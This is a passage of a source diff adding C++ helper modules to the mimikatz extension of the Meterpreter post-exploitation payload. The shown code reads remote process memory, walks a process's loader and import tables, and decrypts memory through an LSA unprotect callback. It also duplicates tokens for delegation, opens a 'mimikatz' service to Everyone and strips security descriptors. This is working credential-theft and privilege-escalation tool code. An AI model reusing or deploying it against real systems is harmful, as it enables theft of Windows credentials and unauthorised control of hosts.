reinterpret_cast<PVOID>(IATArray->u1.Function),
|
||||
0,
|
||||
string()
|
||||
};
|
||||
|
||||
if(HintNameArray->u1.Ordinal & IMAGE_ORDINAL_FLAG)
|
||||
{
|
||||
imageIAT.Ordinal = IMAGE_ORDINAL(HintNameArray->u1.Ordinal);
|
||||
}
|
||||
else
|
||||
{
|
||||
BYTE monTab[] = {0};
|
||||
long offsetToNull;
|
||||
if(mod_memory::searchMemory(baseAddr + HintNameArray->u1.AddressOfData + FIELD_OFFSET(IMAGE_IMPORT_BY_NAME, Name), 255, monTab, &offsetToNull, sizeof(monTab), true, handleProcess))
|
||||
{
|
||||
BYTE * ayIMAGE_IMPORT_BY_NAME = new BYTE[sizeof(IMAGE_IMPORT_BY_NAME) + offsetToNull];
|
||||
if(mod_memory::readMemory(baseAddr + HintNameArray->u1.AddressOfData, ayIMAGE_IMPORT_BY_NAME, sizeof(IMAGE_IMPORT_BY_NAME) + offsetToNull, handleProcess))
|
||||
{
|
||||
PIMAGE_IMPORT_BY_NAME nameImg = reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(ayIMAGE_IMPORT_BY_NAME);
|
||||
imageIAT.funcName = string(reinterpret_cast<char *>(nameImg->Name));
|
||||
}
|
||||
delete [] ayIMAGE_IMPORT_BY_NAME;
|
||||
}
|
||||
}
|
||||
|
||||
mesImports.push_back(imageIAT);
|
||||
i++;
|
||||
}
|
||||
else break;
|
||||
}
|
||||
else break;
|
||||
}
|
||||
|
||||
delete[] ayIMAGE_THUNK_DATA_IAT;
|
||||
delete[] ayIMAGE_THUNK_DATA_HintName;
|
||||
|
||||
BYTE monTab[] = {0};
|
||||
long offsetToNull;
|
||||
|
||||
if(mod_memory::searchMemory(baseAddr + structImportDesc->Name, 255, monTab, &offsetToNull, sizeof(monTab), true, handleProcess))
|
||||
{
|
||||
char * maLib = new char[offsetToNull+1];
|
||||
if(mod_memory::readMemory(baseAddr + structImportDesc->Name, maLib, offsetToNull+1, handleProcess))
|
||||
{
|
||||
monIAT->push_back(make_pair(string(maLib), mesImports));
|
||||
}
|
||||
delete [] maLib;
|
||||
}
|
||||
|
||||
structImportDesc++;
|
||||
}
|
||||
}
|
||||
}
|
||||
delete[] ayIMAGE_IMPORT_DESCRIPTOR;
|
||||
}
|
||||
}
|
||||
}
|
||||
delete[] ayIMAGE_NT_HEADERS;
|
||||
}
|
||||
}
|
||||
delete[] ayIMAGE_DOS_HEADER;
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_process::getProcessEntryFromProcessId(DWORD processId, KIWI_PROCESSENTRY32 * processKiwi, vector<mod_process::KIWI_PROCESSENTRY32> * mesProcess)
|
||||
{
|
||||
bool reussite = false;
|
||||
bool tabOk = false;
|
||||
|
||||
vector<mod_process::KIWI_PROCESSENTRY32> * monTab;
|
||||
|
||||
if(!mesProcess)
|
||||
{
|
||||
monTab = new vector<mod_process::KIWI_PROCESSENTRY32>();
|
||||
tabOk = mod_process::getList(monTab);
|
||||
}
|
||||
else
|
||||
{
|
||||
monTab = mesProcess;
|
||||
}
|
||||
|
||||
if(mesProcess || tabOk)
|
||||
{
|
||||
for(vector<mod_process::KIWI_PROCESSENTRY32>::iterator monProcess = monTab->begin(); monProcess != monTab->end(); monProcess++)
|
||||
{
|
||||
if(reussite = (monProcess->th32ProcessID == processId))
|
||||
{
|
||||
*processKiwi = *monProcess;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if(!mesProcess)
|
||||
{
|
||||
delete monTab;
|
||||
}
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_process::getVeryBasicModulesListForProcess(vector<KIWI_VERY_BASIC_MODULEENTRY> * monModuleVector, HANDLE processHandle)
|
||||
{
|
||||
bool reussite = false;
|
||||
PEB * monPeb = new PEB();
|
||||
if(getPeb(monPeb, processHandle))
|
||||
{
|
||||
__PEB_LDR_DATA * monLoader = new __PEB_LDR_DATA();
|
||||
if(mod_memory::readMemory(monPeb->LoaderData, monLoader, sizeof(__PEB_LDR_DATA), processHandle))
|
||||
{
|
||||
PBYTE aLire, fin;
|
||||
__LDR_DATA_TABLE_ENTRY monEntry;
|
||||
for(
|
||||
aLire = PBYTE(monLoader->InMemoryOrderModulevector.Flink) - FIELD_OFFSET(__LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks),
|
||||
fin = (PBYTE) (monPeb->LoaderData) + FIELD_OFFSET(__PEB_LDR_DATA, InLoadOrderModulevector);
|
||||
aLire != fin;
|
||||
aLire = (PBYTE) monEntry.InMemoryOrderLinks.Flink - FIELD_OFFSET(__LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks)
|
||||
)
|
||||
{
|
||||
if(reussite = mod_memory::readMemory(aLire, &monEntry, sizeof(monEntry), processHandle))
|
||||
{
|
||||
KIWI_VERY_BASIC_MODULEENTRY monModule = {
|
||||
reinterpret_cast<PBYTE>(monEntry.DllBase),
|
||||
monEntry.SizeOfImage,
|
||||
getUnicodeStringOfProcess(&monEntry.BaseDllName, processHandle)
|
||||
};
|
||||
monModuleVector->push_back(monModule);
|
||||
}
|
||||
}
|
||||
}
|
||||
delete monLoader;
|
||||
}
|
||||
delete monPeb;
|
||||
return reussite;
|
||||
}
|
||||
|
||||
wstring mod_process::getUnicodeStringOfProcess(UNICODE_STRING * ptrString, HANDLE process, PLSA_PROTECT_MEMORY unProtectFunction)
|
||||
{
|
||||
wstring maChaine;
|
||||
BYTE * monBuffer = NULL;
|
||||
if(getUnicodeStringOfProcess(ptrString, &monBuffer, process, unProtectFunction))
|
||||
{
|
||||
maChaine.assign(mod_text::stringOrHex(monBuffer, ptrString->Length));
|
||||
}
|
||||
if(monBuffer)
|
||||
delete[] monBuffer;
|
||||
return maChaine;
|
||||
}
|
||||
|
||||
bool mod_process::getUnicodeStringOfProcess(UNICODE_STRING * ptrString, BYTE ** monBuffer, HANDLE process, PLSA_PROTECT_MEMORY unProtectFunction)
|
||||
{
|
||||
bool resultat = false;
|
||||
|
||||
if(ptrString->Buffer && (ptrString->Length > 0))
|
||||
{
|
||||
*monBuffer = new BYTE[ptrString->MaximumLength];
|
||||
if(resultat = mod_memory::readMemory(ptrString->Buffer, *monBuffer, ptrString->MaximumLength, process))
|
||||
{
|
||||
if(unProtectFunction)
|
||||
unProtectFunction(*monBuffer, ptrString->MaximumLength);
|
||||
}
|
||||
}
|
||||
return resultat;
|
||||
}
|
@ -0,0 +1,84 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "secpkg.h"
|
||||
#include "mod_ntddk.h"
|
||||
#include "mod_memory.h"
|
||||
#include "mod_text.h"
|
||||
#include <security.h>
|
||||
#include <tlhelp32.h>
|
||||
|
||||
class mod_process
|
||||
{
|
||||
public:
|
||||
typedef struct _KIWI_IAT_MODULE
|
||||
{
|
||||
PVOID ptrToFunc;
|
||||
PVOID ptrFunc;
|
||||
WORD Ordinal;
|
||||
string funcName;
|
||||
} KIWI_IAT_MODULE, *PKIWI_IAT_MODULE;
|
||||
|
||||
typedef struct _KIWI_PROCESSENTRY32
|
||||
{
|
||||
DWORD dwSize;
|
||||
DWORD cntUsage;
|
||||
DWORD th32ProcessID; // this process
|
||||
ULONG_PTR th32DefaultHeapID;
|
||||
DWORD th32ModuleID; // associated exe
|
||||
DWORD cntThreads;
|
||||
DWORD th32ParentProcessID; // this process's parent process
|
||||
LONG pcPriClassBase; // Base priority of process's threads
|
||||
DWORD dwFlags;
|
||||
wstring szExeFile; // Path
|
||||
} KIWI_PROCESSENTRY32, *PKIWI_PROCESSENTRY32;
|
||||
|
||||
typedef struct _KIWI_MODULEENTRY32
|
||||
{
|
||||
DWORD dwSize;
|
||||
DWORD th32ModuleID; // This module
|
||||
DWORD th32ProcessID; // owning process
|
||||
DWORD GlblcntUsage; // Global usage count on the module
|
||||
DWORD ProccntUsage; // Module usage count in th32ProcessID's context
|
||||
BYTE * modBaseAddr; // Base address of module in th32ProcessID's context
|
||||
DWORD modBaseSize; // Size in bytes of module starting at modBaseAddr
|
||||
HMODULE hModule; // The hModule of this module in th32ProcessID's context
|
||||
wstring szModule;
|
||||
wstring szExePath;
|
||||
} KIWI_MODULEENTRY32, *PKIWI_MODULEENTRY32;
|
||||
|
||||
typedef struct _KIWI_VERY_BASIC_MODULEENTRY
|
||||
{
|
||||
BYTE * modBaseAddr; // Base address of module in th32ProcessID's context
|
||||
DWORD modBaseSize; // Size in bytes of module starting at modBaseAddr
|
||||
wstring szModule;
|
||||
} KIWI_VERY_BASIC_MODULEENTRY, *PKIWI_VERY_BASIC_MODULEENTRY;
|
||||
|
||||
static bool getList(vector<KIWI_PROCESSENTRY32> * maProcessesvector, wstring * processName = NULL);
|
||||
static bool getUniqueForName(KIWI_PROCESSENTRY32 * monProcess, wstring * processName);
|
||||
|
||||
static bool start(wstring * maCommandLine, PROCESS_INFORMATION * mesInfosProcess, bool paused = false, bool aUsurper = false, HANDLE leToken = NULL);
|
||||
static bool suspend(DWORD & processId);
|
||||
static bool resume(DWORD & processId);
|
||||
static bool stop(DWORD & processId, DWORD exitCode = 0);
|
||||
|
||||
static bool debug(DWORD & processId);
|
||||
|
||||
static bool getAuthentificationIdFromProcessId(DWORD & processId, LUID & AuthentificationId);
|
||||
static bool getModulesListForProcessId(vector<KIWI_MODULEENTRY32> * maModulevector, DWORD * processId = NULL);
|
||||
static bool getVeryBasicModulesListForProcess(vector<KIWI_VERY_BASIC_MODULEENTRY> * monModuleVector, HANDLE processHandle = INVALID_HANDLE_VALUE);
|
||||
static bool getUniqueModuleForName(KIWI_MODULEENTRY32 * monModule, wstring * moduleName = NULL, DWORD * processId = NULL);
|
||||
|
||||
static bool getProcessEntryFromProcessId(DWORD processId, KIWI_PROCESSENTRY32 * processKiwi, vector<mod_process::KIWI_PROCESSENTRY32> * mesProcess = NULL);
|
||||
|
||||
static bool getProcessBasicInformation(PROCESS_BASIC_INFORMATION * mesInfos, HANDLE processHandle = INVALID_HANDLE_VALUE);
|
||||
static bool getPeb(PEB * peb, HANDLE processHandle = INVALID_HANDLE_VALUE);
|
||||
static bool getIAT(PBYTE ptrBaseAddr, vector<pair<string, vector<KIWI_IAT_MODULE>>> * monIAT, HANDLE handleProcess = INVALID_HANDLE_VALUE);
|
||||
|
||||
static wstring getUnicodeStringOfProcess(UNICODE_STRING * ptrString, HANDLE process = INVALID_HANDLE_VALUE, PLSA_PROTECT_MEMORY unProtectFunction = NULL);
|
||||
static bool getUnicodeStringOfProcess(UNICODE_STRING * ptrString, BYTE ** monBuffer, HANDLE process, PLSA_PROTECT_MEMORY unProtectFunction = NULL);
|
||||
};
|
162
c/meterpreter/source/extensions/mimikatz/modules/mod_secacl.cpp
Normal file
162
c/meterpreter/source/extensions/mimikatz/modules/mod_secacl.cpp
Normal file
@ -0,0 +1,162 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "mod_secacl.h"
|
||||
|
||||
bool mod_secacl::nullSdToHandle(PHANDLE monHandle, SE_OBJECT_TYPE monType)
|
||||
{
|
||||
PSECURITY_DESCRIPTOR newSD = NULL;
|
||||
ULONG laTaille;
|
||||
bool succes = false;
|
||||
|
||||
if(BuildSecurityDescriptor(NULL, NULL, 0, NULL, 0, NULL, NULL, &laTaille, &newSD) == ERROR_SUCCESS)
|
||||
{
|
||||
switch(monType)
|
||||
{
|
||||
case SE_KERNEL_OBJECT:
|
||||
succes = SetKernelObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, newSD) != 0;
|
||||
break;
|
||||
case SE_SERVICE:
|
||||
succes = SetServiceObjectSecurity(*reinterpret_cast<SC_HANDLE *>(monHandle), DACL_SECURITY_INFORMATION, newSD) != 0;
|
||||
break;
|
||||
}
|
||||
LocalFree(newSD);
|
||||
}
|
||||
|
||||
return succes;
|
||||
}
|
||||
|
||||
bool mod_secacl::addWorldToMimikatz(SC_HANDLE * monHandle)
|
||||
{
|
||||
bool reussite = false;
|
||||
DWORD dwSizeNeeded = 0;
|
||||
SECURITY_DESCRIPTOR monSd;
|
||||
if((QueryServiceObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, &monSd, 0, &dwSizeNeeded) == 0) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER))
|
||||
{
|
||||
PSECURITY_DESCRIPTOR oldSd = new BYTE[dwSizeNeeded];
|
||||
if(QueryServiceObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded))
|
||||
{
|
||||
SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
|
||||
PSID pEveryoneSID = NULL;
|
||||
if(AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &pEveryoneSID))
|
||||
{
|
||||
EXPLICIT_ACCESS ForEveryOne;
|
||||
RtlZeroMemory(&ForEveryOne, sizeof(EXPLICIT_ACCESS));
|
||||
ForEveryOne.grfAccessMode = SET_ACCESS;
|
||||
ForEveryOne.grfInheritance = NO_INHERITANCE;
|
||||
ForEveryOne.grfAccessPermissions = SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL ;
|
||||
ForEveryOne.Trustee.TrusteeForm = TRUSTEE_IS_SID;
|
||||
ForEveryOne.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
|
||||
ForEveryOne.Trustee.ptstrName = reinterpret_cast<LPTSTR>(pEveryoneSID);
|
||||
|
||||
PSECURITY_DESCRIPTOR newSd = NULL;
|
||||
DWORD laTaille;
|
||||
if(BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryOne, 0, NULL, oldSd, &laTaille, &newSd) == ERROR_SUCCESS)
|
||||
{
|
||||
reussite = SetServiceObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, newSd) != 0;
|
||||
LocalFree(newSd);
|
||||
}
|
||||
FreeSid(pEveryoneSID);
|
||||
}
|
||||
}
|
||||
delete [] oldSd;
|
||||
}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_secacl::sidToStrSid(PSID Sid, wstring * strSid)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
wchar_t * szSid;
|
||||
if(reussite = ConvertSidToStringSid(Sid, &szSid) != 0)
|
||||
{
|
||||
strSid->assign(szSid);
|
||||
LocalFree(szSid);
|
||||
}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_secacl::sidToName(PSID Sid, wstring * strName, wstring * domainName, wstring * systemName, SID_NAME_USE * usage)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
DWORD dwSizeName = 0;
|
||||
DWORD dwSizeDomain = 0;
|
||||
SID_NAME_USE nameUse;
|
||||
|
||||
if(!LookupAccountSid((systemName ? systemName->c_str() : NULL), Sid, NULL, &dwSizeName, NULL, &dwSizeDomain, &nameUse) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER))
|
||||
{
|
||||
wchar_t * monNom = new wchar_t[dwSizeName];
|
||||
wchar_t * monDomain = new wchar_t[dwSizeDomain];
|
||||
if(reussite = (LookupAccountSid((systemName ? systemName->c_str() : NULL), Sid, monNom, &dwSizeName, monDomain, &dwSizeDomain, &nameUse)) != 0)
|
||||
{
|
||||
strName->assign(monNom);
|
||||
if(domainName)
|
||||
domainName->assign(monDomain);
|
||||
|
||||
if(usage)
|
||||
*usage = nameUse;
|
||||
}
|
||||
delete[] monDomain;
|
||||
delete[] monNom;
|
||||
}
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_secacl::simpleSidToString(PSID Sid, wstring * String)
|
||||
{
|
||||
wstring userName;
|
||||
wstring domaineName;
|
||||
String->clear();
|
||||
|
||||
if(Sid)
|
||||
{
|
||||
if(mod_secacl::sidToName(Sid, &userName, &domaineName))
|
||||
{
|
||||
String->assign(domaineName);
|
||||
String->push_back(L'\\');
|
||||
String->append(userName);
|
||||
}
|
||||
else
|
||||
mod_secacl::sidToStrSid(Sid, String);
|
||||
}
|
||||
if(String->empty())
|
||||
String->assign(L"(null)");
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_secacl::tokenUser(HANDLE tokenHandle, wstring * strName, wstring * domainName, wstring * systemName, SID_NAME_USE * usage)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
DWORD szNeeded = 0;
|
||||
if(!GetTokenInformation(tokenHandle, TokenUser, NULL, 0, &szNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER))
|
||||
{
|
||||
BYTE * mesDonnees = new BYTE[szNeeded];
|
||||
if(GetTokenInformation(tokenHandle, TokenUser, mesDonnees, szNeeded, &szNeeded))
|
||||
{
|
||||
TOKEN_USER * monUser = reinterpret_cast<TOKEN_USER *>(mesDonnees);
|
||||
reussite = sidToName(monUser->User.Sid, strName, domainName, systemName, usage);
|
||||
}
|
||||
delete[] mesDonnees;
|
||||
}
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_secacl::exchangeDupToken(HANDLE * tokenHandle)
|
||||
{
|
||||
bool reussite = false;
|
||||
HANDLE secToken;
|
||||
if(reussite = DuplicateTokenEx(*tokenHandle, MAXIMUM_ALLOWED, NULL, /*SecurityImpersonation*/SecurityDelegation, /*TokenImpersonation*/ TokenPrimary, &secToken) != 0)
|
||||
{
|
||||
CloseHandle(*tokenHandle);
|
||||
*tokenHandle = secToken;
|
||||
}
|
||||
return reussite;
|
||||
}
|
@ -0,0 +1,24 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include <aclapi.h>
|
||||
#include <sddl.h>
|
||||
|
||||
using namespace std;
|
||||
|
||||
class mod_secacl
|
||||
{
|
||||
public:
|
||||
static bool simpleSidToString(PSID Sid, wstring * String);
|
||||
static bool sidToStrSid(PSID Sid, wstring * strSid);
|
||||
static bool nullSdToHandle(PHANDLE monHandle, SE_OBJECT_TYPE monType = SE_KERNEL_OBJECT);
|
||||
static bool sidToName(PSID Sid, wstring * strName, wstring * domainName = NULL, wstring * systemName = NULL, SID_NAME_USE * usage = NULL);
|
||||
static bool tokenUser(HANDLE tokenHandle, wstring * strName, wstring * domainName = NULL, wstring * systemName = NULL, SID_NAME_USE * usage = NULL);
|
||||
|
||||
static bool exchangeDupToken(HANDLE * tokenHandle);
|
||||
static bool addWorldToMimikatz(SC_HANDLE * monHandle);
|
||||
};
|
142
c/meterpreter/source/extensions/mimikatz/modules/mod_service.cpp
Normal file
142
c/meterpreter/source/extensions/mimikatz/modules/mod_service.cpp
Normal file
@ -0,0 +1,142 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "mod_service.h"
|
||||
|
||||
bool mod_service::getList(vector<KIWI_SERVICE_STATUS_PROCESS> * monVectorService, wstring * machineName) // machine non implémenté
|
||||
{
|
||||
bool reussite = false;
|
||||
DWORD error = ERROR_SUCCESS;
|
||||
|
||||
if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_ENUMERATE_SERVICE))
|
||||
{
|
||||
DWORD tailleRequise = 0;
|
||||
DWORD nbServices = 0;
|
||||
DWORD resumeHandle = 0;
|
||||
|
||||
if(!(EnumServicesStatusEx(monManager, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER | SERVICE_WIN32, SERVICE_STATE_ALL, NULL, 0, &tailleRequise, &nbServices, &resumeHandle, NULL) != 0) && GetLastError() == ERROR_MORE_DATA)
|
||||
{
|
||||
BYTE * servicesBuff = new BYTE[tailleRequise];
|
||||
ENUM_SERVICE_STATUS_PROCESS * mesServ = reinterpret_cast<ENUM_SERVICE_STATUS_PROCESS *>(servicesBuff);
|
||||
if(reussite = EnumServicesStatusEx(monManager, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER | SERVICE_WIN32, SERVICE_STATE_ALL, servicesBuff, tailleRequise, &tailleRequise, &nbServices, &resumeHandle, NULL) != 0)
|
||||
{
|
||||
for(DWORD i = 0; i < nbServices; i++)
|
||||
{
|
||||
KIWI_SERVICE_STATUS_PROCESS monService = {mesServ[i].lpServiceName, mesServ[i].lpDisplayName, mesServ[i].ServiceStatusProcess};
|
||||
monVectorService->push_back(monService);
|
||||
}
|
||||
}
|
||||
delete[] servicesBuff;
|
||||
error = GetLastError();
|
||||
}
|
||||
|
||||
CloseServiceHandle(monManager);
|
||||
SetLastError(error);
|
||||
}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
|
||||
bool mod_service::getUniqueForName(KIWI_SERVICE_STATUS_PROCESS * monService, wstring * serviceName, wstring * machineName) // machine non implémenté
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
vector<KIWI_SERVICE_STATUS_PROCESS> * vectorServices = new vector<KIWI_SERVICE_STATUS_PROCESS>();
|
||||
if(getList(vectorServices, machineName))
|
||||
{
|
||||
for(vector<KIWI_SERVICE_STATUS_PROCESS>::iterator monSvc = vectorServices->begin(); monSvc != vectorServices->end(); monSvc++)
|
||||
{
|
||||
if(reussite = (_wcsicmp(monSvc->serviceName.c_str(), serviceName->c_str()) == 0))
|
||||
{
|
||||
*monService = *monSvc;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
delete vectorServices;
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_service::start(wstring * serviceName, wstring * machineName)
|
||||
{
|
||||
bool reussite = false;
|
||||
DWORD error = ERROR_SUCCESS;
|
||||
if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT))
|
||||
{
|
||||
if(SC_HANDLE monService = OpenService(monManager, serviceName->c_str(), SERVICE_START))
|
||||
{
|
||||
if(!(reussite = StartService(monService, 0, NULL) != 0))
|
||||
error = GetLastError();
|
||||
CloseServiceHandle(monService);
|
||||
}
|
||||
else
|
||||
error = GetLastError();
|
||||
CloseServiceHandle(monManager);
|
||||
SetLastError(error);
|
||||
}
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_service::remove(wstring * serviceName, wstring * machineName)
|
||||
{
|
||||
bool reussite = false;
|
||||
DWORD error = ERROR_SUCCESS;
|
||||
if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT))
|
||||
{
|
||||
if(SC_HANDLE monService = OpenService(monManager, serviceName->c_str(), DELETE))
|
||||
{
|
||||
if(!(reussite = DeleteService(monService) != 0))
|
||||
error = GetLastError();
|
||||
CloseServiceHandle(monService);
|
||||
}
|
||||
else
|
||||
error = GetLastError();
|
||||
CloseServiceHandle(monManager);
|
||||
SetLastError(error);
|
||||
}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_service::genericControl(wstring * serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus, wstring * machineName)
|
||||
{
|
||||
bool reussite = false;
|
||||
DWORD error = ERROR_SUCCESS;
|
||||
if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT))
|
||||
{
|
||||
if(SC_HANDLE monService = OpenService(monManager, serviceName->c_str(), dwDesiredAccess))
|
||||
{
|
||||
if(!(reussite = ControlService(monService, dwControl, ptrServiceStatus) != 0))
|
||||
error = GetLastError();
|
||||
CloseServiceHandle(monService);
|
||||
}
|
||||
else
|
||||
error = GetLastError();
|
||||
CloseServiceHandle(monManager);
|
||||
SetLastError(error);
|
||||
}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
|
||||
bool mod_service::stop(wstring * serviceName, wstring * machineName)
|
||||
{
|
||||
SERVICE_STATUS serviceStatus;
|
||||
return(genericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, &serviceStatus, machineName));
|
||||
}
|
||||
|
||||
bool mod_service::suspend(wstring * serviceName, wstring * machineName)
|
||||
{
|
||||
SERVICE_STATUS serviceStatus;
|
||||
return(genericControl(serviceName, SERVICE_PAUSE_CONTINUE, SERVICE_CONTROL_PAUSE, &serviceStatus, machineName));
|
||||
}
|
||||
|
||||
bool mod_service::resume(wstring * serviceName, wstring * machineName)
|
||||
{
|
||||
SERVICE_STATUS serviceStatus;
|
||||
return(genericControl(serviceName, SERVICE_PAUSE_CONTINUE, SERVICE_CONTROL_CONTINUE, &serviceStatus, machineName));
|
||||
}
|
||||
|
@ -0,0 +1,38 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_secacl.h"
|
||||
|
||||
class mod_service
|
||||
{
|
||||
private:
|
||||
static bool genericControl(wstring * serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus, wstring * machineName = NULL);
|
||||
|
||||
public:
|
||||
typedef struct _KIWI_SERVICE_STATUS_PROCESS
|
||||
{
|
||||
wstring serviceName;
|
||||
wstring serviceDisplayName;
|
||||
SERVICE_STATUS_PROCESS ServiceStatusProcess;
|
||||
} KIWI_SERVICE_STATUS_PROCESS, *PKIWI_SERVICE_STATUS_PROCESS;
|
||||
|
||||
static bool getList(vector<KIWI_SERVICE_STATUS_PROCESS> * monVectorService, wstring * machineName = NULL);
|
||||
static bool getUniqueForName(KIWI_SERVICE_STATUS_PROCESS * monService, wstring * serviceName, wstring * machineName = NULL);
|
||||
|
||||
static bool start(wstring * serviceName, wstring * machineName = NULL);
|
||||
static bool suspend(wstring * serviceName, wstring * machineName = NULL);
|
||||
static bool resume(wstring * serviceName, wstring * machineName = NULL);
|
||||
static bool stop(wstring * serviceName, wstring * machineName = NULL);
|
||||
|
||||
static bool query(wstring * serviceName, wstring * machineName = NULL); // a voir ?
|
||||
|
||||
static bool add(wstring * binPath, vector<wstring> * arguments); // bla bla
|
||||
static bool remove(wstring * serviceName, wstring * machineName = NULL);
|
||||
static bool control(vector<wstring> * arguments);
|
||||
|
||||
};
|
||||
|
208
c/meterpreter/source/extensions/mimikatz/modules/mod_system.cpp
Normal file
208
c/meterpreter/source/extensions/mimikatz/modules/mod_system.cpp
Normal file
@ -0,0 +1,208 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "mod_system.h"
|
||||
|
||||
OSVERSIONINFOEX mod_system::GLOB_Version;
|
||||
|
||||
wstring mod_system::getWinError(bool automatique, DWORD code)
|
||||
{
|
||||
bool reussite = false;
|
||||
DWORD dwError = (automatique ? GetLastError() : code);
|
||||
wostringstream resultat;
|
||||
wchar_t * monBuffer = NULL;
|
||||
|
||||
resultat << L"(0x" << setw(sizeof(DWORD)*2) << setfill(wchar_t('0')) << hex << dwError << dec << L')';
|
||||
if(!(reussite = FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_MAX_WIDTH_MASK, NULL, dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), reinterpret_cast<wchar_t *>(&monBuffer), 0, NULL) != 0))
|
||||
reussite = FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_MAX_WIDTH_MASK | FORMAT_MESSAGE_FROM_HMODULE, GetModuleHandle(L"ntdll"), dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), reinterpret_cast<wchar_t *>(&monBuffer), 0, NULL) != 0;
|
||||
|
||||
if(reussite)
|
||||
{
|
||||
resultat << L' ' << monBuffer;
|
||||
LocalFree(monBuffer);
|
||||
}
|
||||
else resultat << L" * Impossible d\'obtenir un message *";
|
||||
|
||||
return resultat.str();
|
||||
}
|
||||
|
||||
bool mod_system::getUserName(wstring * monUserName)
|
||||
{
|
||||
bool reussite = false;
|
||||
unsigned long tailleRequise = 0;
|
||||
|
||||
if(!GetUserNameEx(NameSamCompatible, NULL, &tailleRequise) && GetLastError() == ERROR_MORE_DATA)
|
||||
{
|
||||
wchar_t * monBuffer = new wchar_t[tailleRequise];
|
||||
if(reussite = (GetUserNameEx(NameSamCompatible, monBuffer, &tailleRequise) != 0))
|
||||
{
|
||||
monUserName->assign(monBuffer);
|
||||
}
|
||||
delete[] monBuffer;
|
||||
